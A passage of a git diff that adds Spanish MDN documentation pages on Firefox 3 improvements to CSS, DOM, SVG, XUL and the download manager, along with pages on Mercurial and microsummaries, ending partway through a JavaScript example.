+ <li>el valor <code>none</code> de <span class="lang lang-en"><code><a href="../../../../en/CSS/content" rel="internal">content</a></code></span> ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=378535" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=378535">bug 378535</a> </span>)</li>
+ <li>el valor <code>none</code> de <span class="lang lang-en"><code><a href="../../../../en/CSS/cursor" rel="internal">cursor</a></code></span> ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=346690" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=346690">bug 346690</a> </span>)</li>
+ <li>el valor <code>pre-wrap</code> de <span class="lang lang-en"><code><a href="../../../../en/CSS/white-space" rel="internal">white-space</a></code></span> ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=261081" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=261081">bug 261081</a> </span>)</li>
+ <li><code>-moz-initial</code> para casi todas las propiedades de CSS (excepto <code>quotes</code> y <code>-moz-border-<var>*</var>-colors</code>) <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=80887" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=80887">bug 80887</a></span></li>
+ <li><code>window.getComputedStyle()</code>; ahora implementa todas las propiedades de CSS admitidas ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=316981" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=316981">bug 316981</a> </span>)</li>
+</ul>
+
+<p> </p>
+
+<p><strong>Otros cambios</strong></p>
+
+<ul>
+ <li>Se han añadido los valores <code>-moz-max-content</code>, <code>-moz-min-content</code>, <code>-moz-fit-content</code> y <code>-moz-available</code> a las propiedades <span class="lang lang-es"><code><a href="../../../../es/CSS/width" rel="internal">width</a></code></span>, <span class="lang lang-es"><code><a href="../../../../es/CSS/min-width" rel="internal">min-width</a></code></span> y <span class="lang lang-es"><code><a href="../../../../es/CSS/max-width" rel="internal">max-width</a></code></span> ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=311415" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=311415">bug 311415</a> </span>y <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=402706" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=402706">bug 402706</a> </span>).</li>
+ <li>Las pestañas que ya cuentan con formato funcionan mucho mejor con fuentes proporcionales, de acuerdo con la especificación CSS 2.1.</li>
+ <li>Las imágenes de fondo ahora se pueden visualizar correctamente en un <code>-moz-border-radius</code> ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=24998" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=24998">bug 24998</a> </span>).</li>
+ <li>Se han implementado en forma dinámica algunos selectores, como por ejemplo <a href="../../../../en/CSS/%3afirst-child" rel="internal">:first-child</a>, <a class="new" href="../../../../en/CSS/%3aonly-child" rel="internal">:only-child</a>, <a href="../../../../en/CSS/%3alast-child" rel="internal">:last-child</a> ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=73586" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=73586">bug 73586</a> </span>), <a href="../../../../en/CSS/%3aempty" rel="internal">:empty</a> ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=98997" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=98997">bug 98997</a> </span>) o el combinador + ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=229915" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=229915">bug 229915</a> </span>) ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=401291" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=401291">bug 401291</a> </span>).</li>
+ <li>Se han implementado correctamente los valores <span class="lang lang-en"><code><a href="../../../../en/CSS/z-index" rel="internal">z-index</a></code></span> negativos.</li>
+</ul>
+
+<p> </p>
+
+<div id="section_1">
+<h3 class="editable" id="Lecturas_relacionadas"><span><span><span>Lecturas relacionadas</span> </span> </span></h3>
+</div>
+</div>
+
+<p> </p>
+
+<ul>
+ <li><a href="/es/Firefox_3_para_desarrolladores" title="es/Firefox_3_para_desarrolladores">Firefox 3 para desarrolladores</a></li>
+ <li><a href="/es/Mejoras_DOM_en_Firefox_3" title="es/Mejoras_DOM_en_Firefox_3">Mejoras en el DOM en Firefox 3</a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/CSS_improvements_in_Firefox_3", "fr": "fr/Am\u00e9liorations_CSS_dans_Firefox_3", "ja": "ja/CSS_improvements_in_Firefox_3", "pl": "pl/Poprawki_CSS_w_Firefoksie_3" } ) }}</p>
+
+<p> </p>
diff --git a/files/es/mejoras_dom_en_firefox_3/index.html b/files/es/mejoras_dom_en_firefox_3/index.html
new file mode 100644
index 0000000000..dcc39ab4a6
--- /dev/null
+++ b/files/es/mejoras_dom_en_firefox_3/index.html
@@ -0,0 +1,35 @@
+---
+title: Mejoras DOM en Firefox 3
+slug: Mejoras_DOM_en_Firefox_3
+tags:
+  - DOM
+  - Firefox 3
+  - Todas_las_Categorías
+translation_of: Mozilla/Firefox/Releases/3/DOM_improvements
+---
+<div>{{FirefoxSidebar}}</div><p>{{ Fx_minversion_header(3) }}</p>
+
+<p>Firefox 3 ofrece una serie de mejoras sobre el <a href="es/DOM">Modelo de Objetos del Documento (DOM)</a>, especialmente en lo que se refiere a la implementación de extensiones de DOM añadidas por otros navegadores. Este artículo proporciona una lista de estas mejoras, además de enlaces a documentación más detallada.</p>
+
+<ul>
+ <li>Ahora se implementan las extensiones de DOM <code><a href="es/DOM/element.clientTop">clientTop</a></code> y <code><a href="es/DOM/element.clientLeft">clientLeft</a></code> de Internet Explorer.</li>
+ <li>La propiedad <code><a href="es/DOM/window.fullScreen">window.fullScreen</a></code> ahora es siempre exacta, sin importar donde sea leída, incluso en el contenido. Previamente devolvía <code>false</code> erróneamente ({{ Bug(127013) }}).</li>
+ <li>Ahora se implementan las extensiones de DOM <code><a href="es/DOM/element.getClientRects">getClientRects</a></code> y <code><a href="es/DOM/element.getBoundingClientRect">getBoundingClientRect</a></code> ({{ Bug(174397) }}).</li>
+ <li>Se implementa la extensión de DOM <code><a href="es/DOM/document.elementFromPoint">elementFromPoint</a></code> de Internet Explorer ({{ Bug(199692) }}).</li>
+ <li>Ahora se implementan las extensiones de DOM <code><a href="es/DOM/element.oncut">oncut</a></code>, <code><a href="es/DOM/element.oncopy">oncopy</a></code>, <code><a href="es/DOM/element.onpaste">onpaste</a></code>, <code><a href="es/DOM/element.onbeforecut">onbeforecut</a></code>, <code><a href="es/DOM/element.onbeforepaste">onbeforecopy</a></code> y <code><a href="es/DOM/element.onbeforepaste">onbeforepaste</a></code> de Internet Explorer ({{ Bug(280959) }}).</li>
+ <li>Se han añadido capturadores para <code>Node.nodePrincipal</code>, <code>Node.baseURIObject</code>, y <code><a href="es/DOM/document.documentURIObject">document.documentURIObject</a></code> sólo para código con privilegios. El código Chrome no debe tocar (recuperar o fijar) estas propiedades en objetos de contenido sin envoltorios (por ejemplo, sobre un <code>wrappedJSObject</code> de un <code><a href="es/XPCNativeWrapper">XPCNativeWrapper</a></code>), ver {{ Bug(324464) }} para más detalles.</li>
+</ul>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<ul>
+ <li><a href="es/Firefox_3_para_desarrolladores">Firefox 3 para desarrolladores</a></li>
+ <li><a href="es/Mejoras_CSS_en_Firefox_3">Mejoras CSS en Firefox 3</a></li>
+ <li><a href="es/DOM">DOM</a></li>
+</ul>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM_improvements_in_Firefox_3", "fr": "fr/Am\u00e9liorations_DOM_dans_Firefox_3", "ja": "ja/DOM_improvements_in_Firefox_3", "pl": "pl/Poprawki_DOM_w_Firefoksie_3" } ) }}</p>
diff --git a/files/es/mejoras_en_el_administrador_de_descargas_en_firefox_3/index.html b/files/es/mejoras_en_el_administrador_de_descargas_en_firefox_3/index.html
new file mode 100644
index 0000000000..7a928cfdca
--- /dev/null
+++ b/files/es/mejoras_en_el_administrador_de_descargas_en_firefox_3/index.html
@@ -0,0 +1,43 @@
+---
+title: Mejoras en el administrador de descargas en Firefox 3
+slug: Mejoras_en_el_administrador_de_descargas_en_Firefox_3
+tags:
+  - Firefox 3
+translation_of: Archive/Mozilla/Download_Manager_improvements_in_Firefox_3
+---
+<p>Firefox 3 tiene algunas mejoras en el Administrador de Descargas que permite la existencia de múltiples escuchas de progreso, utiliza el API <a href="es/Storage">Storage</a> para el manejo de datos, resumen de descargas, etcétera. Adicionalmente, puedes aumentar o reemplazar el interfaz de usuario del Administrador de Descargas, implementando un nuevo interfaz <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManagerUI" title="">nsIDownloadManagerUI</a></code>.</p>
+
+<p>{{ Note("These changes will require some modest revisions to code using the Download Manager; several methods have had minor changes.")}}</p>
+
+<h3 id="El_interfaz_Administrador_de_Descargas" name="El_interfaz_Administrador_de_Descargas">El interfaz Administrador de Descargas</h3>
+
+<dl>
+ <dt><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManager" title="">nsIDownloadManager</a></code></dt>
+ <dd>Ofece a las aplicaciones y extensiones, acceso al Administrador de Descargas, permitiendoles agregar o eliminar archivos en la lista de descargas, recuperar información acerca de descargas pasadas y presentes y recoger notificaciones sobre el estado de progreso de las descargas.</dd>
+ <dt><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownload" title="">nsIDownload</a></code></dt>
+ <dd>Describe un archivo en la cola de descargas. El archivo puede estar en espera de ser descargado, estar en proceso de descarga, o haber finalizado su descarga.</dd>
+ <dt><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadProgressListener" title="">nsIDownloadProgressListener</a></code></dt>
+ <dd>Las aplicaciones y las extensiones implementan este interfaz para ser notificadas de los cambios en el estado de las descargas.</dd>
+ <dt><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManagerUI" title="">nsIDownloadManagerUI</a></code></dt>
+ <dd>Implementa esta interfaz para reemplazar o aumentar la interfaz de usuario del Administrador de Descargas.</dd>
+</dl>
+
+<h3 id="Otra_documentaci.C3.B3n_del_Administrador_de_Descargas" name="Otra_documentaci.C3.B3n_del_Administrador_de_Descargas">Otra documentación del Administrador de Descargas</h3>
+
+<dl>
+ <dt><a href="es/Preferencias_del_Administrador_de_Descargas">Preferencias_del_Administrador_de_Descargas</a></dt>
+ <dd>Este artículo enumera las preferencias usadas por el Administrador de Descargas,así como sus valores por defecto.</dd>
+ <dt><a href="es/Esquema_del_Administrador_de_descargas">Esquema_del_Administrador_de_descargas</a></dt>
+ <dd>Este artículo describe el formato de la base de datos que se usa para almacenar y hacer seguimiento de cada descarga.</dd>
+</dl>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<dl>
+ <dt><a href="es/Vigilar_descargas">Vigilar_descargas</a></dt>
+ <dd>Un ejemplo que muestra cómo usar el nuevo API del Administrador de Descargas para crear una ventana de registro de descargas que muestra todas las descagas pasadas y presentes y su estado, incluyendo las horas de comienzo y final de las descargas y más. Muestra también el funcionamiento del API <a href="es/Storage">Storage</a>.</dd>
+</dl>
+
+<p> </p>
+
+<div class="noinclude"> </div>
diff --git a/files/es/mejoras_svg_en_firefox_3/index.html b/files/es/mejoras_svg_en_firefox_3/index.html
new file mode 100644
index 0000000000..701a6640f8
--- /dev/null
+++ b/files/es/mejoras_svg_en_firefox_3/index.html
@@ -0,0 +1,62 @@
+---
+title: Mejoras SVG en Firefox 3
+slug: Mejoras_SVG_en_Firefox_3
+tags:
+  - Firefox 3
+  - SVG
+  - Todas_las_Categorías
+translation_of: Mozilla/Firefox/Releases/3/SVG_improvements
+---
+<div>{{FirefoxSidebar}}</div><p>{{ Fx_minversion_header(3) }}</p>
+
+<p>Firefox 3 ofrece una mejor implementación de <a href="es/SVG">Gráficos Vectoriales Escalables (SVG)</a> en comparación con versiones anteriores de Firefox. Aunque estas características están documentadas en otros sitios, este artículo puede servir como una lista que indique fácilmente qué características se han añadido en Firefox 3.</p>
+
+<ul>
+ <li>Se ha implementado el elemento <code>foreignObject</code> ({{ Bug(326966) }}). Vea la <a class="external" href="http://www.w3.org/TR/SVG11/extend.html#ForeignObjectElement">especificación</a> o <a class="external" href="http://weblogs.mozillazine.org/roc/archives/2006/06/the_future_is_now.html">este artículo</a> para más detalles.</li>
+ <li>Implementado el elemento <code>pattern</code> (<a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#PatternElement">especificación</a>).</li>
+ <li>Implementado el elemento <code>mask</code> (<a class="external" href="http://www.w3.org/TR/SVG11/masking.html#MaskElement">especificación</a>).</li>
+ <li>Implementados nuevos filtros (<a class="external" href="http://www.w3.org/TR/SVG11/filters.html">especificación</a>):
+  <ul>
+   <li><code>filter</code></li>
+   <li><code>feDistantLight</code></li>
+   <li><code>fePointLight</code></li>
+   <li><code>feSpotLight</code></li>
+   <li><code>feBlend</code></li>
+   <li><code>feColorMatrix</code></li>
+   <li><code>feConvolveMatrix</code></li>
+   <li><code>feComponentTransfer</code>, <code>feFuncR</code>, <code>feFuncG</code>, <code>feFuncB</code>, <code>feFuncA</code></li>
+   <li><code>feComposite</code></li>
+   <li><code>feConvolveMatrix</code></li>
+   <li><code>feDiffuseLighting</code></li>
+   <li><code>feDistantLight</code></li>
+   <li><code>feFlood</code></li>
+   <li><code>feGaussianBlur</code></li>
+   <li><code>feMerge</code>, <code>feMergeNode</code></li>
+   <li><code>feMorphology</code></li>
+   <li><code>feOffset</code></li>
+   <li><code>fePointLight</code></li>
+   <li><code>feSpecularLighting</code></li>
+   <li><code>feTurbulence</code></li>
+   <li><code>feTile</code></li>
+  </ul>
+ </li>
+ <li>Se han arreglado varios fallos en la manipulación del elemento <code>&lt;a&gt;</code> en SVG; ver {{ Bug(267664) }}, {{ Bug(268135) }}, {{ Bug(316248) }}, {{ Bug(317270) }} y {{ Bug(320724) }}.</li>
+ <li>Se han implementado los métodos de DOM en SVG <code>getNumberOfChars()</code>, <code>getComputedTextLength()</code>, <code>getSubStringLength()</code>, <code>getStartPositionOfChar()</code>, <code>getEndPositionOfChar()</code>, <code>getRotationOfChar()</code> y <code>getCharNumAtPosition()</code>.</li>
+ <li>Implementación del atributo <code>xml:space</code> (<a class="external" href="http://www.w3.org/TR/SVG/text.html#WhiteSpace">especificación</a>).</li>
+ <li>Se ha implementado el comportamiento por defecto de <code>fill</code>/<code>stroke</code> (<a class="external" href="http://www.w3.org/TR/SVG/painting.html#SpecifyingPaint">especificación</a>).</li>
+ <li>Se implementan ya las unidades <code>em</code> y <code>ex</code> para indicar longitudes ({{ Bug(305859) }}).</li>
+</ul>
+
+<h3 id="Vea_tambi.C3.A9n" name="Vea_tambi.C3.A9n">Vea también</h3>
+
+<ul>
+ <li><a href="es/SVG">SVG</a></li>
+ <li><a href="es/SVG_en_Firefox">SVG en Firefox</a></li>
+ <li><a href="es/Firefox_3_para_desarrolladores">Firefox 3 para desarrolladores</a></li>
+</ul>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/SVG_improvements_in_Firefox_3", "fr": "fr/Am\u00e9liorations_SVG_dans_Firefox_3", "ja": "ja/SVG_improvements_in_Firefox_3", "pl": "pl/Poprawki_SVG_w_Firefoksie_3" } ) }}</p>
diff --git a/files/es/mejoras_xul_en_firefox_3/index.html b/files/es/mejoras_xul_en_firefox_3/index.html
new file mode 100644
index 0000000000..e649db326a
--- /dev/null
+++ b/files/es/mejoras_xul_en_firefox_3/index.html
@@ -0,0 +1,109 @@
+---
+title: Mejoras XUL en Firefox 3
+slug: Mejoras_XUL_en_Firefox_3
+tags:
+  - Firefox 3
+  - Todas_las_Categorías
+  - XUL
+translation_of: Mozilla/Firefox/Releases/3/XUL_improvements_in_Firefox_3
+---
+<div>{{FirefoxSidebar}}</div><p>{{ Fx_minversion_header(3) }}</p>
+
+<p>Firefox 3 proporciona varios nuevos elementos <a href="/es/XUL" title="es/XUL">XUL</a>, además de mejoras en los elementos existentes. Aún que este material se documenta en detalle en otro lugar, este artículo ofrece una buena lista de estas mejoras así como enlaces a la documentación detallada.</p>
+
+<p> </p>
+
+<h3 id="Los_nuevos_elementos" name="Los_nuevos_elementos">Los nuevos elementos</h3>
+
+<ul>
+ <li><a href="/es/Tutorial_de_XUL/Controles_numéricos" title="es/Tutorial_de_XUL/Controles_numéricos">Los controles numéricos</a>:
+
+  <ul>
+   <li>El elemento <code><a href="/es/XUL/scale" title="es/XUL/scale">&lt;scale&gt;</a></code> permite crear escalas deslizantes que dejan al usuario seleccionar cualquier valor dentro de un rango especificado. Este control podría utilizarse, por ejemplo, para crear un control de volumen.</li>
+   <li>El valor <code>number</code> para el atributo <code>type</code> de cajas de texto (<code>textbox</code>) crea una caja de texto donde sólo se pueden introducir números. Además, aparecen botones de flecha en un lateral que permiten incrementar o disminuir los valores. {{ interwiki('wikimo', 'XUL:Specs:NumberBox', 'Más información sobre cajas de texto numérico') }}. {{ Bug(345510) }}</li>
+   <li>El elemento <code><a href="/es/XUL/spinbuttons" title="es/XUL/spinbuttons">&lt;spinbuttons&gt;</a></code>, que puede usarse para crear controles con la ayuda de vínculos XBL. {{ Bug(155053) }}</li>
+   <li>Los controles, <code><a href="/es/XUL/datepicker" title="es/XUL/datepicker">&lt;datepicker&gt;</a></code> y <code><a href="/es/XUL/timepicker" title="es/XUL/timepicker">&lt;timepicker&gt;</a></code> sirven para permitir entradas de fecha y hora. El seleccionador de fecha está disponible en varios estilos según el atributo <code>type</code> y permite entradas vía cajas de texto o de un calendario. {{ interwiki('wikimo', 'XUL:Specs:DateTimePickers', 'Más información sobre seleccionadores de fecha (en)') }} <a href="/es/XUL/datepicker" title="es/XUL/datepicker">Referencia de seleccionadores de fecha</a> <a href="/es/XUL/timepicker" title="es/XUL/timepicker">Referencia de seleccionadores de hora</a></li>
+  </ul>
+ </li>
+ <li>Hay una <a href="/es/XUL/Guía_de_popup" title="es/XUL/Guía_de_popup">guía</a> sobre menús y elementos emergentes que describe las nuevas funciones disponibles.
+  <ul>
+   <li>El elemento <code><a href="/es/XUL/dropmarker" title="es/XUL/dropmarker">&lt;dropmarker&gt;</a></code> es útil para crear, con vínculos XBL, controles de estilo de menú. ({{ Bug(348614) }})</li>
+   <li>El elemento <code><a href="/es/XUL/panel" title="es/XUL/panel">&lt;panel&gt;</a></code> está diseñado para elementos emergentes que no son menús. Pueden albergar cualquier tipo de contenido. Para menús se debería utilizar el elemento &lt;menupopup&gt;. Los menús permiten la navegación mediante el teclado y apertura/cierre de sub-menús.</li>
+  </ul>
+ </li>
+</ul>
+
+<p> </p>
+
+<h3 id="Las_mejoras" name="Las_mejoras">Las mejoras</h3>
+
+<h4 id="en_los_.C3.A1rboles" name="en_los_.C3.A1rboles">en los árboles</h4>
+
+<ul>
+ <li>Los árboles pueden desplazarse horizontalmente ahora. Si las columnas no caben dentro del ancho disponible, aparece una barra de desplazamiento horizontal. Esto ocurre si el ancho de las columnas especificado suma más que el espacio disponible. Ver {{ Bug(212789) }} para más detalles.</li>
+ <li>Un nuevo estilo de selección permite seleccionar celdas individualmente, en lugar de filas enteras. Para usar este estilo de selección, se fijará el atributo <code>seltype</code> de los árboles como <code>cell</code>. ({{ Bug(296040) }})</li>
+ <li>Los árboles admiten la edición de celdas individuales. Cuando el usuario hace doble clic en una celda, aparece un campo de texto donde puede editar los contenidos de la celda. Ver {{ interwiki('wikimo', 'XUL:Tree', 'estas notas') }} para más detalles. ({{ Bug(201499) }})</li>
+ <li>Los elementos &lt;treecol&gt; admiten ahora un atributo <code>overflow</code>, que puede definirse como verdadero para permitir que el texto de las celdas de esa columna se expanda a las celdas vecinas vacías, si el texto es demasiado largo para caber en esa única celda.</li>
+</ul>
+
+<h4 id="de_los_men.C3.BAs" name="de_los_men.C3.BAs">de los menús</h4>
+
+<ul>
+ <li>El atributo <code>image</code> se usa ahora consistentemente para definir imágenes.</li>
+ <li>Las listas de menú lanzan el evento <code>select</code> cuando se selecciona un elemento.</li>
+ <li>Las propiedades <code>inputField</code> y <code>editable</code> han sido añadidas a la lista de menú.</li>
+ <li>El elemento &lt;menu&gt; tiene métodos para añadir, insertar y eliminar elementos de menú. ({{ Bug(372552) }})</li>
+ <li>Los elementos <code>&lt;menu&gt;</code>, <code>&lt;menuitem&gt;</code> y <code>&lt;menuseparator&gt;</code>:
+  <ul>
+   <li>tienen la propiedad <code>selected</code>, de sólo lectura, que indica si el elemento está seleccionado en una &lt;menulist&gt;.</li>
+   <li>tienen la propiedad <code>control</code>, de sólo lectura, que devuelve la &lt;menulist&gt; rodeada.</li>
+   <li>admiten las propiedades <code>accessKey</code>, <code>disabled</code>, <code>crop</code>, <code>image</code> y <code>label</code> que definen el atributo correspondiente.</li>
+  </ul>
+ </li>
+ <li>La propiedad <code>editor</code> permite obtener la interfaz {{ Interface("nsIEditor") }} interna para el campo de texto de un elemento <code>menulist</code> modificable.</li>
+ <li>Los menús pueden mostrarse transparentes en las plataformas que lo permiten. ({{ Bug(70798) }})</li>
+</ul>
+
+<h4 id="en_las_cajas_de_texto" name="en_las_cajas_de_texto">en las cajas de texto</h4>
+
+<ul>
+ <li>Definir el atributo <code>spellcheck</code> de una <a href="/es/XUL/textbox" title="es/XUL/textbox">caja de texto</a> a '<code>true</code>' activará la comprobación ortográfica integrada en esa caja de texto. ({{ Bug(346787) }})</li>
+ <li>La <code>&lt;textbox&gt;</code> tiene el método <code>reset()</code> para reiniciar el valor de una caja de texto a su valor predeterminado. La propiedad <code>defaultValue</code> se usará para obtener y modificar el valor por defecto de la caja de texto. ({{ Bug(312867) }})</li>
+ <li>Se ofrece la propiedad <code>editor</code> que permite obtener la interfaz {{ Interface("nsIEditor") }} interna del campo de texto.({{ Bug(312867) }})</li>
+ <li>La <code><a href="/es/XUL/textbox" title="es/XUL/textbox">caja de texto</a></code> admite el atributo <code>newlines</code> que especifica cómo se tratarán los saltos de linea en el texto pegado. {{ Bug(253481) }}. Los posibles valores son:
+  <ul>
+   <li><code>pasteintact</code> - pega todo tal cual está</li>
+   <li><code>pastetofirst</code> - (valor por defecto) pega sólo hasta el primer salto de linea</li>
+   <li><code>replacewithspaces</code> - reemplaza los saltos de linea por espacios</li>
+   <li><code>replacewithcommas</code> - reemplaza los saltos de linea con comas</li>
+   <li><code>strip</code> - elimina todos los saltos de linea</li>
+   <li><code>stripsurroundingwhitespace</code> - elimina todos los saltos de linea y los espacios vacíos cercanos</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Otras_mejoras" name="Otras_mejoras">Otras mejoras</h3>
+
+<ul>
+ <li>El atributo <code>type</code> de un <code>&lt;button&gt;</code> se fijará a <code>repeat</code> para crear botones que ejecuten el evento asociado mientras se mantiene pulsado con el ratón.</li>
+ <li>El atributo <code><a href="/es/XUL/Atributos/buttondisabledaccept" title="es/XUL/Atributos/buttondisabledaccept">buttondisabledaccept</a></code> puede usarse en el elemento <code>&lt;dialog&gt;</code> para tener el botón aceptar (OK) inicialmente desactivado.</li>
+ <li>El elemento <code>&lt;titlebar&gt;</code> admite el atributo <code>allowevents</code> que permite pasar eventos a los hijos de la barra de título.</li>
+ <li>El <code>&lt;splitter&gt;</code> admite el valor adicional <code>'both'</code> para el atributo <code>collapse</code>, que indica que el separador puede colapsar elementos en ambos lados cuando se arrastra. El atributo <code>substate</code> se fijará a antes o después cuando uno es colapsado. ({{ Bug(337955) }})</li>
+ <li>El elemento <code>&lt;richlistbox&gt;</code> permite selección múltiple. Se fijará el atributo <code>seltype</code> a <code>'multiple'</code> para activarlo.</li>
+ <li>El elemento <code>&lt;radio&gt;</code> tiene un atributo <code>group</code> que puede definir la (id) identificación de un elemento <code>&lt;radiogroup&gt;</code> al cual pertenece el botón de selección. Esto permite organizar los botones de selección, de una manera que quizás no sea conveniente, al colocarlos dentro de un grupo de selección.</li>
+ <li>Los métodos <code>openPopup()</code> y <code>openPopupAtScreen()</code> son admitidos por menús, paneles y títulos emergentes. Estos métodos deberían utilizarse en lugar de <code>showPopup()</code> que ha generado confusiones en su uso.</li>
+ <li>Se ha mejorado la gestión del elemento &lt;key&gt; (tecla) para los usuarios de teclados no latino. Ver el evento de tecla de Gecko.</li>
+ <li>En Mac OS X, los atributos 'activetitlebarcolor' y 'inactivetitlebarcolor' de los elementos raiz (&lt;window&gt;, &lt;dialog&gt;, &lt;prefwindow&gt; and &lt;wizard&gt;) son accesibles para personalizar el color de la barra de títulos de la pantalla.</li>
+</ul>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<ul>
+ <li><a href="/es/XUL" title="es/XUL">XUL</a></li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<p>{{ languages( { "en": "en/XUL_improvements_in_Firefox_3", "fr": "fr/Am\u00e9liorations_XUL_dans_Firefox_3", "ja": "ja/XUL_improvements_in_Firefox_3", "pl": "pl/Poprawki_XUL_w_Firefoksie_3" } ) }}</p>
diff --git a/files/es/mercurial/index.html b/files/es/mercurial/index.html
new file mode 100644
index 0000000000..c8a72386ab
--- /dev/null
+++ b/files/es/mercurial/index.html
@@ -0,0 +1,35 @@
+---
+title: Mercurial
+slug: Mercurial
+tags:
+  - Desarrollando_Mozilla
+  - Mercurial
+  - Todas_las_Categorías
+translation_of: Mozilla/Mercurial
+---
+<p><a class="external" href="https://www.mercurial-scm.org/"><strong>Mercurial</strong></a> es el <a class="external" href="http://blog.ianbicking.org/distributed-vs-centralized-scm.html">software de control distribuido de versiones (inglés)</a> que estamos usando para el desarrollo de las próximas versiones principales ("trunk"). Ha reemplazado a <a href="/es/Código_fuente_de_Mozilla_(CVS)" title="Código fuente de Mozilla (CVS)">CVS</a> ahora que Mozilla 1.9 ha sido ramificado.</p>
+
+<p><strong><code>hg</code></strong> es la herramienta de línea de órdenes de Mercurial, en consonancia con el hecho de que Hg es el símbolo químico para el elemento mercurio.</p>
+
+<h2 id="Aprender_a_usar_Mercurial" name="Aprender_a_usar_Mercurial">Aprender a usar Mercurial</h2>
+
+<p>Lo primero, léete completo <a href="/es/lo_básico_de_Mercurial" title="lo básico de Mercurial">lo básico de Mercurial</a>, antes de hacer nada más.</p>
+
+<p>Luego la <a href="/es/FAQ_de_Mercurial" title="FAQ de Mercurial">FAQ de Mercurial</a> es un lugar decente para comenzar.</p>
+
+<p>Revisa <a href="/es/Código_fuente_de_Mozilla_(Mercurial)" title="Código fuente de Mozilla (Mercurial)">Código fuente de Mozilla (Mercurial)</a> para obtener un árbol que compilar.</p>
+
+<h2 id="Lecturas_adicionales" name="Lecturas_adicionales">Lecturas adicionales</h2>
+
+<p>El <a class="external" href="http://hgbook.red-bean.com/hgbook.html">libro de hg (inglés)</a> es la guía de usuario definitiva de Mercurial.</p>
+
+<p><a href="/es/docs/tag/Mercurial">Category:Mercurial</a> lista los artículos relacionados con Mercurial en MDC.</p>
+
+<p>Y en wiki.mozilla.org, estas páginas son muy útiles:</p>
+
+<ul>
+ <li>{{ interwiki('wikimo', 'Using_Mercurial_locally_with_CVS', 'Usar Mercurial localmente con CVS (inglés)') }}, un How-To (ten en cuenta que esto sólo es útil para código que aún resida exclusivamente en CVS).</li>
+ <li>{{ interwiki('wikimo', 'Mercurial_on_Windows', 'Mercurial en Windows') }}</li>
+</ul>
+
+<p>{{ languages( { "fr": "fr/Mercurial", "ja": "ja/Mercurial", "en": "en/Mercurial" } ) }}</p>
diff --git a/files/es/microsummary_topics/index.html b/files/es/microsummary_topics/index.html
new file mode 100644
index 0000000000..86696978b5
--- /dev/null
+++ b/files/es/microsummary_topics/index.html
@@ -0,0 +1,64 @@
+---
+title: Microsummary topics
+slug: Microsummary_topics
+tags:
+  - Microsummaries
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Mozilla/Microsummary_topics
+---
+<div class="warning"><strong>Warning:</strong> Microsummary support was removed in Gecko 6.0 (Firefox 6.0 / Thunderbird 6.0 / SeaMonkey 2.3)</div>
+<h2 id="Programmatically_installing_a_microsummary_generator" name="Programmatically_installing_a_microsummary_generator">Programmatically installing a microsummary generator</h2>
+<p>To programmatically install a microsummary generator -- for example, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the <a class="external" href="http://lxr.mozilla.org/mozilla/source/browser/components/microsummaries/public/nsIMicrosummaryService.idl#178"><code>nsIMicrosummaryService</code></a> interface implemented by the <a class="external" href="http://lxr.mozilla.org/mozilla/source/browser/components/microsummaries/src/nsMicrosummaryService.js.in"><code>nsIMicrosummaryService</code></a> component, then call its <code><a class="external" href="http://lxr.mozilla.org/mozilla/source/browser/components/microsummaries/public/nsIMicrosummaryService.idl#191">installGenerator()</a></code> method, passing it an XML document containing the generator.</p>
+<p>For example, the following code snippet installs the microsummary generator from the <a href="/en/Creating_a_Microsummary" title="en/Creating_a_Microsummary">Creating a Microsummary</a> tutorial:</p>
+<pre class="brush: js">var generatorText = ' \
+  &lt;?xml version="1.0" encoding="UTF-8"?&gt; \
